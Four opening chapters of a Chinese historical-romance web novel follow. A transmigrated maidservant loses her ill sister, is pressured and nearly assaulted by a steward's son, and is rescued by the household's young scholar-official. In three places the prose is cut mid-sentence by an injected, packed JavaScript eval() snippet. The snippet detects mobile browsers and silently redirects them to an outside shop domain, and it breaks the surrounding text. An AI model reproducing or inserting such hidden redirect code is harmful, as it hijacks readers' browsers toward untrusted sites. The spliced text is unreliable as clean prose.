《三弃探花郎》 1. 第 1 章 “丫头，我晓得你妹妹身子不好，可你也晓得......”那干瘦的老妈妈拧着眉，叮嘱道：“万不要耽误了，今日老太太要早用膳。” 这两日老太太因长孙回府欢喜得紧，用膳的时辰比往日早上几刻钟。苦了她们厨房这边每日都要采买新鲜食材，时辰总是赶着赶着。 施筠心下了然，打起精气神，道了句谢。 青荷的病来得比以往凶，前两日夜里青荷疼得直唤“阿姐”。 她与青荷相依为命三年，如今见她受苦心里又岂能好受。 连日来，她悉心照料青荷始终不见好转，昨日青荷已迷糊得认不清人，浑身烫得如烙铁。 老妈妈心知施筠为妹妹着急，只可惜这节骨眼，谁也耽误不起。 她叹了一声，又朝施筠那方望去，惊觉这小妮子出落得越发标致。也难怪柳妈妈那边如珠似宝地盯着，生怕别人凑过去。 那头，施筠转过身提起裙角，在人潮中快步穿行。 因昨夜落过雨，街面湿滑，蓄起不少小水坑。 青石砖铺成的长街古色古香，与她从前看过的古镇遗迹相差甚远。 沿街两侧，茶楼食肆鳞次栉比，布衣摊贩游走叫卖，热闹非凡。 穿来此地已有三年，施筠仍旧不熟，侯府规矩森严，不许女使随意出府，况且她和青荷又是签的死契。 青荷尚年幼，自小身子骨又弱。 为给青荷看病，在侯府的这三年，施筠一文钱都不曾攒下。 往日里施筠都是让外院的赖妈妈带药，可赖妈妈不识字，回回传话都讲不清。 施筠怕误了事，耽误青荷的病，唯有她亲自去一趟才放心。 仁济堂内，药香沉郁。 施筠将青荷这几日的病症细细说了，又提起赖妈妈之前抓的那几副药——什么方子、几时煎的、服下后青荷如何烧得更厉害，一字一句，说得清清楚楚。 “小娘子，先前赖妈妈已同我说过青荷姑娘的病......”鬓发苍白的大夫脸色变了又变，眉头紧皱，叹道：“想来青荷姑娘自幼体虚，根基太薄。老夫开个方子，你拿回去，煎了灌下去......余下的听天由命罢。” 最后四个字轻飘飘地落下来，像一块石头砸在施筠心口。 施筠张了张嘴，想说什么，喉咙却像被人掐住了。嘴唇翕动了几下，终究没有发出任何声音，泪先流下来了。 她走到门口时，脚下一个踉跄，险些绊在门槛上。 出了仁济堂，天色已然大变。 方才来时虽是阴天，尚有光亮，此刻却浓云如墨，从西边压过来，沉甸甸地罩住了整条街。 风一阵紧似一阵，卷起地上的泥尘，扑在脸上带着一股子腥气。 施筠站在台阶上，被风刮得眯了眯眼。 她一脚轻一脚重地往回赶，还不等她回过神，就见缘来客栈前围了一圈人，左右皆无路可去。 凑近打听才知缘来客栈里死了人，官府查案，封了朱雀街。 施筠紧攥着药，挑眉朝前望去。 官府衙役腰悬佩刀，对靠近缘来客栈的人厉声呵斥。 她若不从此过怕是不能赶上回侯府的时辰。 恰此时，有车轱辘碾过石街的声音。 周遭人头攒动，纷纷让开一条路，见这阵仗，施筠亦退到一旁。 华贵的马车慢腾腾地驶过缘来客栈，官府衙役恭敬地让行，且向马车内的人告罪。 不必想也知车内人来头不小，至少是能让官府毕恭毕敬的人物。 马车缓缓从施筠身前驶过，一阵香风袭来，车帷一角被风带起。 施筠屏息凝神，眸光复杂地盯着马车。 她实在怕冲撞贵人，可青荷那头病得严重...... 思及此，施筠心下一狠，拦在马车前，婉转陈词，“惊扰贵人车驾，实非本意。奈何家妹病重需用药，街道被封，求贵人开恩，能否遣人带我过去。” 驾车的少年人不言语，略有些惊疑，不动声色地往车帷内瞥了一眼。 他家郎君的车驾竟也有人敢拦。 施筠手心冷汗直冒，不敢抬眼。 雨后长风吹过朱雀街，车帷是不是被撩起，透过缝隙，车内人眸光平静地看向施筠。 良久，里头传出清越温和的声音。 “鹤木，带她过去。” 少年人名唤鹤木，得令后利索地跳下马车，向施筠道：“娘子请吧。” “贵人心善，多谢。” 施筠感激万分，心头蓦然松了口气。 鹤木领着施筠穿过街道，经过马车时，施筠鬼使神差地朝里看了眼，车帷只略漏了些缝隙，除却一身青衫，再瞧不见旁的。 只她在向里看，车内人也不自觉地朝外看去。 施筠快步掠过，留下一阵清浅的兰香。 鹤木将人领过后便回去复命，马车内清越地声音再次响起，“不着急回侯府，先去国公府。” 闻言，鹤木调转方向，往朱雀街东侧去。 施筠赶在管事妈妈之前回到偏门，老妈妈夸她懂事知趣，又见她眼眶泛红，便知她哭过。 “青荷这小姑娘向来多病，这几年啊，你为着她的病，把你自个儿都要搭进去咯！不说别的，你且为自个想想，趁着年轻在府上寻个知根知底的，别把自己的终身大事耽搁了。”老妈妈这话实打实打的为施筠想。 可施筠自来没有什么嫁人的心思，且如今卧病在床的是她相依相伴的亲妹妹。 在这里她已再没有至亲至爱...... 想到此处，施筠悲从心起，淡声回道：“阿荷是我妹妹，为她做再多我都心甘情愿。我的终身大事，也不劳妈妈费心。” 言罢，施筠转身回东苑。 老妈妈被施筠这一呛，一时无话，心下讽道，不过是得了夫人那边的心思，倒翘得比天高。 施筠着急忙慌地往东苑赶，快步穿过回廊。 过月洞门时，一道黑影挡在身前。她猝然停下，抬眼见来人是柳妈妈的儿子便往后退了两步。 唐志生难掩眸光中的失落，又暗怪施筠不识趣，他来这东苑一遭，得了个好消息。 先前他对施筠百般献殷勤，皆被施筠拒了去。 而今她妹妹病重，正是美人伤心求安慰的时刻。 唐志生听旁人说青荷的情况，怕是不久于世。他对施筠的事儿门清，青荷一死，任施筠再清高，也要为妹妹下葬。 可施筠哪来的银钱。 思及此，唐志生敛去心头不快，倒对眼前人升起几分怜意。 只见施筠面如傅粉，唇若涂朱。 实在是个妙人。 “青芜，听说青荷病了，我怕你一个人应付不过来，在这儿等你，可有用得着我的地方？”唐志生再三忍耐，才立在原地不动，只那一双轻浮的眼盯着施筠。 施筠明白唐志生的心思，只是她志不在此，也不愿意一辈子留在侯府看人脸色过日子。 眼下青荷重病不愈，她疲于周旋，思忖后觉着有个人帮衬着，也好过四处寻人帮忙。 高门侯府内多的是拜高踩低，没有银子，只能巴巴望着。 柳妈妈是侯夫人崔氏的陪房，因此府里对她二人颇有几分敬重。 “志生哥，阿荷病得厉害，这两日能否让人替我照看兰花。”施筠低眉垂目，声音极轻。 他缠着施筠好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522906|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月，是从未听她有什么请求。 施筠这一开口，他仿佛觉得自个儿上刀山，下火海也万死不辞。 “本该如此，你这两日歇着，我寻人给你顶上，你还有什么事只管来找我，我也会来看你。”他见施筠态度软和，心痒难耐地上前一步。 施筠被唬得连连后退，忙福身而去。 她一走，唐志生贪恋一阵香风，使劲嗅风中的残香。 施筠快步回到下人房，甫一推开门，苦涩的药汁味引得胃里一阵翻腾。 青荷脸色苍白，一直咳个不停，额上布巾已被汗水浸湿。 施筠换好布巾后，正欲去煎药，却被一只发烫的手紧紧攥住。 “阿姐，阿姐...对不起，阿姐...” 青荷双眸紧闭，不停地哭。 施筠轻拍她的手，看着她辗转难受的模样，也止不住地流泪。 青荷才九岁，还是个什么都不懂小姑娘。 她像青荷那样大的时候，是在父母的宠爱下度过的。 父亲出警回家会给她带蛋糕，母亲下了手术台也会第一时间告诉她。 可是青荷没有父母，只有一个姐姐相依为命。 而她真正的姐姐好似也不在了。 三年前，施筠穿到青芜身上，身边只有青荷拉着她的手。告诉她，阿姐，婶婶不要我们了。 忆起往事，施筠泪如雨下，呜咽道：“阿荷，你没有对不起阿姐。阿荷等你好了，阿姐带你离开这儿好不好。” 话落，青荷倏然安静，只是她身上还烫得厉害。 见青荷平静下来，施筠替她掖好被角，随后去西边的廊下煎药。 柴火劈里啪啦地燃，在一声轻响后，天边一道惊雷闪过，雨如跳珠滚滚落下。 申时三刻，施筠轻轻叫醒青荷，喂她吃药，青荷迷迷糊糊地吃下。 她不敢离青荷太远，只在窗边守着青荷，听她梦呓。 一直到亥时，青荷都未在出声，施筠心头不安，颤颤抬手探了探青荷的鼻息。 “阿荷，别离开阿姐。” 微弱的呼吸在她指腹间流转，只这一瞬，心里紧绷的弦稍稍松快。 施筠想，或许青荷吉人自有天相，这一遭也能熬过去。 抱着这点希望，施筠握紧青荷的手，听她呢喃，“阿姐...别...” 施筠听不清她的话，外面的雨势太重，而青荷的声音又太小。 不知几时，施筠伏在床边昏昏沉沉地睡了过去。 直至一道惊雷，似要将天地劈开，白光阵阵，如同白昼。 窗棂被劲风刮开，冷风灌进房内，惹人生寒。 施筠骤然惊醒，被房内凌乱的景象唬了一跳，风夹着雨往里吹。急忙起身关窗后，又急急回身去看青荷，只见她双眸轻闭，额间巾布干燥。 好似一切都在好转。 “阿荷，一定会好的。” 施筠心头紧绷的弦终于松懈，轻手轻脚地回到榻边，收起巾布，复又探了青荷额头。 温凉的。 施筠不知是不是占了雨丝的缘故，青荷的体温降得太快，快得让人心惊...... 倏然间，脑海中腾起一个念头。 恰巧，一道白光闪过，照亮屋内青荷纸白的脸，毫无生气。 她缓缓将手移至青荷的鼻尖，眼睫颤动不止，整个人已是神魂游离。 待施筠确认心中所想，浑身气力仿佛被抽干，猝然倒地，下意识地去握住青荷冰冷的手。 施筠泪水决堤，只一个劲地摩挲着青荷的手，好似这样还能让她有温度。 青荷不在了... 这世上再也没有她的亲人了。 2. 第 2 章 雨夜凄冷，直至天明，雨势渐小。 施筠双眼通红，仿佛被抽了三魂六魄，痴痴地瘫坐在地上，只是她仍旧拉着青荷的手不肯松。 她不知道青荷的手是什么变凉的，若是她没睡过去，是否就能救回青荷...... 辰时刚过，房外便守着一个影子，任由他来回踱步，施筠也不理睬。 直至午时，外头那人耐不住性，推门而入。 “青芜！你——” 唐志生一推门便见施筠瘫坐在地，双眸含泪，憔悴不已。 他黑沉的眸子一转，看向榻上面白如纸的青荷，便明白过来。见施筠脆弱无依，一双眼盈盈含泪，哭得活似个泪人。 当真是我见犹怜。 “青芜，你莫哭了，我今辰来寻你便是想同你说，带青荷出去看大夫...”唐志生蹲下身，抬手轻抚施筠的肩。 状似安慰，可唐志生想的却是对美人落泪，实在可怜。 施筠眼神空洞，对他的话充耳不闻，一心只念着刚过世的青荷。 “令妹已逝。”唐志生哀叹一声，又抑不住心头那点欢喜，他又道，“我娘听夫人说，年岁小的姑娘要用上等棺木，才好往生，来世不受苦。” 昨日他还盼着青荷早些过世，好叫他嘘寒问暖，伸以援手。 闻言，施筠眸光幽幽转动，未置一语。 “那等棺木不过我娘月钱，青芜，你倘若嫁给我，我替你出了这钱，我再求夫人把你的死契改成活契，你可答应？”唐志生拿眼直觑施筠，只等着她回应。 他这一手好算盘，任那个女使看了不心动。 他娘可是侯夫人的陪房，嫁给他不愁吃穿，又有了良籍。 这等美事，错过了这个村，也就没这个店了。 施筠眉眼低垂，空洞无情的目光看向搭在肩上的手。 良久，施筠侧身躲开。 早几个月前，唐志生就在向她献殷勤，施筠岂能不知他的意思。 可惜她志不在此，对他送来的物件尽数退还。 从前因青荷在，她无去处，这才逼不得已留下来。 如今，青荷走了，她孑然一身，往后她定有办法离开。可她能用什么给青荷下葬，莫说上等的棺木，就连普通的棺木她都拿不出钱。 末了，施筠淡声道：“容我想想可好。” 见施筠有松口的意思，唐志生也不再追问，只觉此事志在必得。 他浑身畅快，登时起身。 “青芜，青荷还需快些下葬，老太太和夫人那边可不爱听这些事。”语罢，唐志生扬长而去。 唐志生见施筠肯松口，兴冲冲地将此事告诉柳妈妈。 柳妈妈欢喜得紧，东苑那边，她最爱的就是施筠，生得清绝出尘，说话做事又稳重踏实。只可惜有个妹妹拖着，如今妹妹死了，倒也是个称心如意的儿媳。 柳妈妈叮嘱道：“待她松了口，我就跟夫人说去。你也莫叫她拿捏了，你能瞧上她，是她的福分。” “莫去做些低三下四的事。”柳氏对这个好色的儿子颇为了解。 唐志生颔首称事。 东苑林妈妈听说青荷过世，急忙命人将其抬到柴房，捂着口鼻吩咐道，“青荷病了那么久，难免晦气，你尽早准备，近来郎君在东苑，别叫郎君知道了晦气。” 住在侯府东苑的郎君，谢长溪。 年少得志，十七岁便进士及第，是官家钦点的探花郎。 如今外放归来，阖府上下皆忙得脚不沾地。 施筠回说：“妈妈放心，我会妥当处置的。” “尽快。”林妈妈嫌恶地看了一眼，扭身时又道，“你明日还得去书房打理兰花，你晓得的，这儿除了你谁都看顾不了。” 施筠颔首，转身进了柴房。 夜里，施筠仍旧握着青荷的手，却已哭不出来，好像泪已流干。 翌日寅时，一轮残月高挂。 施筠彻夜未眠，等着打理兰花后回来再陪一陪青荷。 昨日夜半微雨，因而往东苑去时，裙边沾了不少泥渍。东苑花房离耳房不远，一刻钟便到了。 施筠见兰花开得正盛，叶片高低错落，香气清幽。 东苑书房的窗棂正对着花架，施筠向来只管侍弄外边的兰花，至于厅堂、书房内的兰花如何摆放就不是她的事。 这些兰花生得好，年前她其实已看过，只需每日浇水松土即刻。 日升月沉，晨曦乍现。 和煦灿然的金光倾落在兰叶上，不知被何触动，施筠没忍住流泪，泪珠滚落在兰花上。 她如今失去至亲，无处安身。 就连为青荷下葬的银两都凑不出。 施筠心念一转，眼下最好的路，便是先答应唐志生，先为青荷下葬，再脱了奴籍。 总归是有办法的，只是她不太喜欢这法子罢了。 想到此处，施筠抬袖擦去眼角余泪，将所有兰花都打理一番，这才在辰时离去。 书房窗前立住一道青影，方才一推窗，谢长溪便瞧见有道熟悉的身影。 待到日出，他才看清那人。 谢长溪看见她的泪珠滴到了兰花上。 那日，朱雀街，缘来客栈前，她也哭过。 为何而哭，又有何可哭。 谢长溪如此想着，人却已来到花架前，站在方才施筠落泪的位置。 他想，站在此地也并未有什么，让他觉得有何可悲伤。 “郎君，昨日夜里缘来客栈那边——” “去问问府上可是死了个小姑娘。” 谢长溪拈起一支兰花，清幽的兰香，沁人心脾，好像还有泪水的味道。 鹤木剑眉深蹙，仿佛听了什么难以置信的话。 他想，就算府上真死了个小姑娘，和郎君又有何干系呢。再者说，那缘来客栈的案子都还未查清。 谢长溪折了兰花回书房。 不多时，鹤木回来禀道：“郎君，府上确实有个小姑娘过世，是花房的女使。” 这一打听叫鹤木摸不着头脑，且说他家郎君回府不久，又极少过问东苑的事，向来都是由夫人一手安排。 郎君是怎么知道死了个无足轻重的小姑娘。 “花房的人？”谢长溪把玩指尖着兰花。 他想起三年前书房窗前的兰花，东苑花房原是由他亲手打理。他虽用心看顾兰花，可总养得不好，瞧上去总病恹恹的。 良久，谢长溪缓声道：“让花房的人来东苑领赏。” 鹤木腹诽，要赏花房的人何必要领来东苑。 施筠在柴房守着青荷，从早至晚，一刻不肯离开。 午时过后，唐志生也来了柴房 ，就在门外候着。 戌时刚过，日沉月升。 唐志生等得心烦意乱，眼看着青荷尸体传出异味，施筠竟还不肯答应。 那酸腐的味道在柴房弥散，唐志生一脸嫌恶地走进柴房，劝道：“青芜，只你一句话，我即可将人把棺材送来，早早的下葬了，也好让妹妹上路，何苦呢。” 施筠余光瞥向他，只见他从袖中取出一枚铜钱，塞进青荷口中。 唐志生见施筠惑然，便道：“有了这‘噙口钱’，妹妹路上就有了盘缠，过了奈何桥，也不怕那渡河的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522907|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船家为难她。咱们这点心意，就盼着她来世能投个好人家，一生富足，再不受这几年的苦。” 闻言，施筠泪又止不住地落。 她不知道古人死时有多少规矩，亦不知道如何才能让青荷的来世活得更顺遂。 “我答应你，但请为阿荷置一口好棺，选一处干净的地。” 施筠淡声开口，她的目光恍惚，仿佛被抽干了精魄。 唐志生喜上眉梢，压不下嘴角的笑意，他连道两声“好”。 见施筠答应，唐志生旋即起身，“你且等着，今夜我便请人入殓。” 语罢，他扬长而去，把这消息告知柳妈妈，柳妈妈心里埋怨施筠要求颇多，一个下人何须这么多体面，随意找个地儿葬了便是。 柳妈妈道：“等她把妹妹葬了，我再跟夫人说你的事，也不急着这两日。” 唐志生面上沉稳，心下却恨不能拥着卿卿入眠。 想到这几月的周旋，他决计今夜先试探一番，左不过已经是他的人，又何须再顾及些什么。 亥时，东苑书房。 花房的女使婆子在书房前垂首肃立，听说是有赏，个个眉梢都带着喜气。 “郎君，人都在这儿了。” 鹤木扫了一眼廊外的人。 闻声，谢长溪抬眼看去，温和沉静的目光扫过众人，他没寻见真正要见的人。 说来奇怪，她分明是花房的人，为何此时不在。 “花房的兰花养得极好。”谢长溪淡声道。 领头的婆子笑吟吟地回话，“是奴婢们分内的事。” “平日是谁在看顾兰花？”谢长溪问，“那人可来了？” 此话一出，老婆子惊得汗毛倒竖，她先前应了柳氏的话，轻简施筠的活，一来是她妹妹死了，二来柳氏予了钱要她看着施筠。 东苑这赏赐来得突然，本以为不是什么大事 ，她嫌麻烦，也就没去知会施筠。 “那兰花平日是青芜照看，昨日夜里她妹妹死了，怕郎君沾了晦气，故不肯来。” 老婆子战战兢兢地上前回话，不知怎得总觉周遭气氛压抑了下来，她先前的喜色被惶恐替代。 谢长溪凝眉，手上失了分寸，一时不察，竟折了兰花。 问了缘由，谢长溪无心在同这些丫头婆子周旋，便叫鹤木带着去账房领赏。 月上枝头，满地银辉。 见房外景色宜人，他缓缓起身出了东苑。 柴房外，唐志生请人入殓。 这会施筠已不再哭，只红着眼看着那棺木。 唐志生叫人将棺材抬到外院偏房放着，明日一早抬走。 施筠一路跟着，唐志生陪在她身边。 “青芜，你莫心忧，我定会处理好的。” 他一面说，一面拉过施筠的臂弯。 施筠微怔，眸光轻颤。 看着唐志生轻浮又暧昧的举动，施筠下意识地作呕，不动声色地往后退了一步。 这举动惹恼了唐志生，先前施筠不答应他，他自是不敢有所动作。 只是如今施筠已允了嫁给他，又何必做出这副姿态。 唐志生伸手将人拽了回来，横眉道：“给你脸不要脸是不是？老子给你出钱出力，装什么清高。” 月夜下他的脸逐渐扭曲，目光如狼似虎。 施筠挣不开他的手，咬牙冷静下来，“志生哥，我虽是奴籍，可也是要脸面的人。没有婚书，岂能乱来。” 唐志生揉搓她细白的手心，低声道：“哼，你且让我香一个，跟着我有什么不好的。” 说罢，他整个人倾身凑了上来。 3. 第 3 章 长月高照，风吹得枝叶簌簌作响。 施筠周遭的沙沙声闹得心痒烦躁，眼看唐志生就要亲上来。 她急中生智，蹲下身，又惶惶不安地哭起来。 唐志生扑了个空，心里极为不畅快。 见施筠蹲下，他不禁皱起眉，提着她的肩，将她整个人揪起来。 “以为这样就能叫我离开？”唐志生恨恨地看着她布满泥污的脸，恨恨道，“老子对你百般讨好，你妹子死了，又是出钱又是出力，你还嫌弃我？” 他越说越气，怒从心起，一想到施筠如此不开窍，手上使劲捏着她的肩胛骨，冷哼一声，“你以为你是什么好货色，连给妹妹的下葬钱都出不起，你有什么资格跟我谈条件，嗯？” 话落，他抬手捏着施筠的下巴。 施筠紧咬下牙，一言不发。 从前他以为唐志生还有几分人性，只是缠着他，并未有过越矩的行为。 而今看来，是她看错了人。 可唐志生说得不错，她没有钱给妹妹下葬，既然已经答应了他，哪里又有什么清高骨气可言。 思及此，施筠心如死灰，也不再反抗。 “实话告诉你，我就是看上你这张脸，趁我还对你有心思，多讨好讨好我，往后有你的好日子过，不比你在花房呆着有前途？” 他拍了拍施筠沾满泥渍的脸，目光落在她挣扎得绯红的脖颈。 施筠眸光平静，脑子发懵，什么也想不到。 她今日能躲过一遭，往后也躲不过。 “换个地方吧，东苑来人了就不好看了。” 施筠声音平静，身体好像已不由她使唤，只是讷讷地盯着一处虚无。 唐志生拽着施筠往偏僻的假山去，只刚踏出一步，身后似有什么飞了过来，直直的打在他的后颈。 疼得他直叫唤，他回头大喊一声。 “那个不长眼的！” 唐志生骂声未落，一回头，便见来人身姿挺拔，眉眼温和。 那人一身竹青色直裰，腰间悬着一块羊脂玉，步履从容，仿佛方才那声粗话从未入耳。 恰是东苑的郎君——谢长溪。 唐志生惊愣不已，双腿打颤，扑通一声跪下，“郎君。” 方才还趾高气昂的人，而今又如此的卑躬屈膝。 施筠心底发笑，旋即跟着跪伏在地，唤了一声，“郎君。” 月光清冷，春夜寒气重，隐隐有雾。 谢长溪借着月光打量施筠。 她的脖颈光洁，发丝湿润，身姿清瘦，脊骨弯曲的弧度很深，这样的姿态，却不叫人觉得卑弱。 “你是柳妈妈的儿子？”谢长溪声音温和，犹如春风拂过。 唐志生点头称是，他瞥了一眼施筠，“郎君，青芜是我未过门的妻子，方才嬉闹一番，扰了郎君的清净，还请郎君责罚。” 他不知谢长溪听到了多少，可他也没什么大错，不过是正巧被撞上了。 再说，施筠本就是他未过门的妻子。 想来也会为他说几句话。 谢长溪目光仍旧落在施筠身上，他问，“他说的可是真的？” 这片刻，施筠心头闪过无数念头。 入府三年，她从未见过谢长溪，但也听别的女使说，谢长溪为人温润有礼，待人宽厚。 既有此机会，为何不替自己搏一搏。 施筠抿唇，长舒一口气，泣道：“郎君，并非如此。” 闻言，唐志生直起身恶狠狠地盯着施筠。 谢长溪眸光冷厉，一道眼风朝他扫过去，唬得唐志生腹背生寒，又低头不敢再看施筠。 施筠没瞧见这眉眼官司，只快速的在心里盘算如何托词。 须臾，施筠戚戚然，道：“郎君，奴与妹妹阿荷相依为命，阿荷过世奴因无钱下葬，只得请人帮忙，岂料他以此要挟奴，要奴嫁给他，还许诺为奴脱去奴籍。” 唐志生气得横眉，即刻驳道：“郎君，她胡说！是她亲口允诺我嫁给我，我才答应帮她给妹妹下葬！” 他平日里见施筠温温柔柔，谨言慎行。 谁曾想竟是个两面三刀之辈，上了好大的一个当！ “郎君，奴如今孤身一人，求郎君开恩，莫要让奴再受威胁。” 施筠骤然抬眸，正巧撞上谢长溪审视的目光。 月光皎洁，万籁俱静，长风吹过时，谢长溪似从她眼中窥见一簇幽兰的火光，只可惜一闪而过。 “既如此，我断了你们的官司。”谢长溪沉声道，“唐志生你既说你除了钱帮她给妹妹下葬，这钱出了，你去账房支一笔银子便了了。” “可是郎君！她答应了要嫁给我！这是她亲口许诺的！”唐志生心有不满，脱口而出。 施筠垂眸不语。 谢长溪眉心轻蹙，冷声问道，“可有婚书字据？” 唐志生摇头，只得打碎牙齿含血吞下去。 待唐志生愤懑离去，谢长溪淡然垂眸，看着跪在地上的施筠，“你撒了谎。” 施筠心下慌乱，却也明白谢长溪方才已经救了她。 “郎君明鉴，奴确实答应了要嫁给他，可那是无奈之举，并非真心。”施筠如实说来，无奈道，“阿荷死了，奴无钱下葬，只有委身于人，可妹妹还没下葬，就要对奴动手动脚。” “望郎君可怜奴，莫让奴再回去。”施筠恳求道。 谢长溪略一颔首，又问她，“东苑的兰花皆是你照料的？” 施筠点头。 “你照料得用心，本该有赏。”谢长溪顿了顿，声音低了些，“你妹妹的后事，便交由我罢。” 闻言，施筠叩首谢恩。 “你也不必再回花房，”谢长溪看着她，“往后就在东苑当差罢。” 施筠再叩首，声音哽咽：“谢郎君。” —— 谢长溪将青荷的后世交由鹤木操办，这两日施筠跟着书房的女使在书房内学着摆放笔墨纸砚，得闲就去照看兰花。 施筠料想唐志生不敢来东苑闹事，现如今她算是彻底得罪了柳氏那边。 是夜，鹤木匆匆来禀：“郎君，荆州那边来信了。” 谢长溪放下手中的书卷，接过信笺，展开看了片刻，眉心微蹙。 鹤木见他神色有异，试探着问道：“郎君，可是出了什么事？” 谢长溪将信折好，收入袖中，只淡淡道：“明日你便知道了。” 翌日清晨，宫中的旨意便到了侯府。 接旨这事自然落不到她头上，施筠得了闲，于窗前为兰花浇水。 今日是青荷的头七，她对青荷总觉亏欠。是她占了青芜的身体，夺走了青荷真正的姐姐。 暮色四合，红霞满天。 施筠等着日落月升，只是还没等到，便见有一人来寻她。 此人，她见过。 那日在朱雀街，就是他领着她穿过缘来客栈。 鹤木再见到施筠，亦有几分惊诧。 他敛起情绪，拱手道：“郎君姑娘请跟我走一趟。” 施筠满目疑惑，听他口中的郎君，是谢长溪...... 原来那天的贵人，是他。 鹤木带着施筠上了马车，马车干净宽敞，恰好容下两人。 她说明来意，“郎君说，今日是青荷姑娘的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522908|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七，青芜姑娘还是拜一拜的好。” 听完这话，施筠低垂着眼，喉头微微发紧。 她说不清心里是什么滋味好似有感激，意外，还有一点说不出的酸涩。像是长久以来独自扛着的那块石头，忽然被人接过去了一半。 施筠深吸口气，将翻涌的情绪压下去，才低声道：“替我...替奴婢谢郎君恩典。” 声音很轻，却带着不易察觉的颤抖。 祭拜完青荷，天色暗了下来，赶回侯府时，一轮弯月高高挂起。 方才她在青荷的墓前没忍住哭了一场，那墓地背山面水，松柏遮风，是块福地。 她在心里记下他的恩情。 施筠一路跟着鹤木，行至东苑后，鹤木道：“姑娘还是亲自向郎君道谢罢，郎君有话同你说。” 话落，鹤木退至一旁，只留施筠一人在书房前。 月色寂寥，银辉笼罩着她，那眉间的愁绪总散不去。 谢长溪放下书卷，眉心轻蹙。 他不是为她解决了诸多烦恼，还有何可愁，还有何要求的。 施筠思绪万千，她敛眉垂首，止不住喉间的颤抖，“多谢郎君，郎君是奴的恩人。” 谢长溪心下咀嚼着“恩人”二字。 良久，他问：“你还有什么所求。” 施筠轻声回道：“郎君，奴想脱籍，倘若可以，奴愿为郎君鞍前马后，上刀山下火海。” 谢长溪眉梢微挑，看向施筠的目光暗藏讥诮。 他何须一个女子为她赴险。 “不日我将调任荆州，你随我一道，归来后我自会替你筹谋。”谢长溪淡声道。 月光入室，烛光明灭。 施筠悄然抬眸，只见他鬓若刀裁，目如点漆，一举一动皆风雅。 她想，当世君子，大抵也就是如此了。 温文尔雅，骨子里却透着慈悲。 “谢郎君恩典。” 谢长溪眸光幽深，看向明月。 月光倾落在施筠身上，颇有意境，他淡声开口：“往后你便唤你映月。” 施筠垂眸，她倒不是觉得这名取得不好，只是她不喜这种如物件一般的感觉。 今日她可以是青芜，明日便可以是映月。 唯独不是施筠。 施筠心里如此想，却觉得明白自己没什么话语权，只回道：“谢郎君赐名。” 阿荷已经不在了，她往后也应该多为自己筹谋。 —— 去往荆州的日子已定下来，三月底，她便要随谢长溪离开侯府。只是她没等到她离开侯府，东苑便来了位不速之客。 这日一早，施筠在东苑书房前捧着兰花进屋，却听身后一阵吵嚷。 “你个祸门的的扫把星啊！害得我儿瘸了双腿，被人拔了舌头！想我儿风华正茂，如今人不人鬼不鬼！”柳氏又哭又闹，引得东苑的女使都围了过来。 女使没拦住蛮横的柳氏，只能一路跟着进了东苑。 柳氏双眼一眯，就瞧见施筠，快步扑了上去，“你答应嫁给我儿，那你便是我柳家的人，跟我走！” 她扯着施筠，眼中凶光毕露，恨不能一口吞了人。 施筠挣开柳氏的手，把兰花护在怀里，“柳妈妈在说什么，我听不懂。” “由得你说！既你不肯认，就同我一道去见夫人！”说罢，柳氏咬牙切齿。 使了蛮劲，把施筠往外拽。 东苑的女使哪见过这阵仗，可巧撞上谢长溪外出。 且那柳氏又是夫人身边的人，谁敢去拦。 众人巴巴望着施筠被拽走，无一人敢上前，只默默地收拾兰花。 4. 第 4 章 春光和煦，入目便是庭院花草葳蕤。 此等闲适的光景，被柳妈妈的咒骂声搅得稀碎。她扯着施筠，边走边骂，沿路的女使闻声朝她们看去。 女使打量好奇的目光似针落在施筠身上。 有好事的女使见过唐志生常往花房去，女使围在一起三言两语间就给施筠定了罪，目光转而变得鄙夷、不屑。 柳妈妈一路咒骂到了正房跟前，见着崔氏在房中品茶，忽地换了副嘴脸。 她眨起松弛褶皱的眼，挤出眼泪，扬声朝里大喊。 “夫人！夫人你可要为我做主啊！”柳妈妈一叠声，里头崔氏蹙起眉寻人出来问情况。 施筠紧抿下唇，不知所措地站在正房前。 她穿到侯府以来，谨言慎行，不敢冒尖出头，只专注花房的事。 哪曾见过这一遭。 崔氏请她二人进屋，施筠面露难色，脚下似灌了铅，走得心惊胆战。 柳妈妈一见崔氏，便跪下哭诉。 “夫人，前两日我儿同我说青芜答应嫁给他，而今我儿飞来横祸，她却不干了。”柳妈妈抽抽嗒嗒，越说越哀伤，“他如今被打断了双腿，割了舌头，到官府报官尚未有回信。” 柳妈妈老泪纵横，“他这副样子，以后如何娶妻，瞧她这忘恩负义的，夫人这样的人，怎敢重用，来日想必也是要出卖主家的。” “夫人您也是有儿子的，可怜我这么多年就这个儿子啊！” 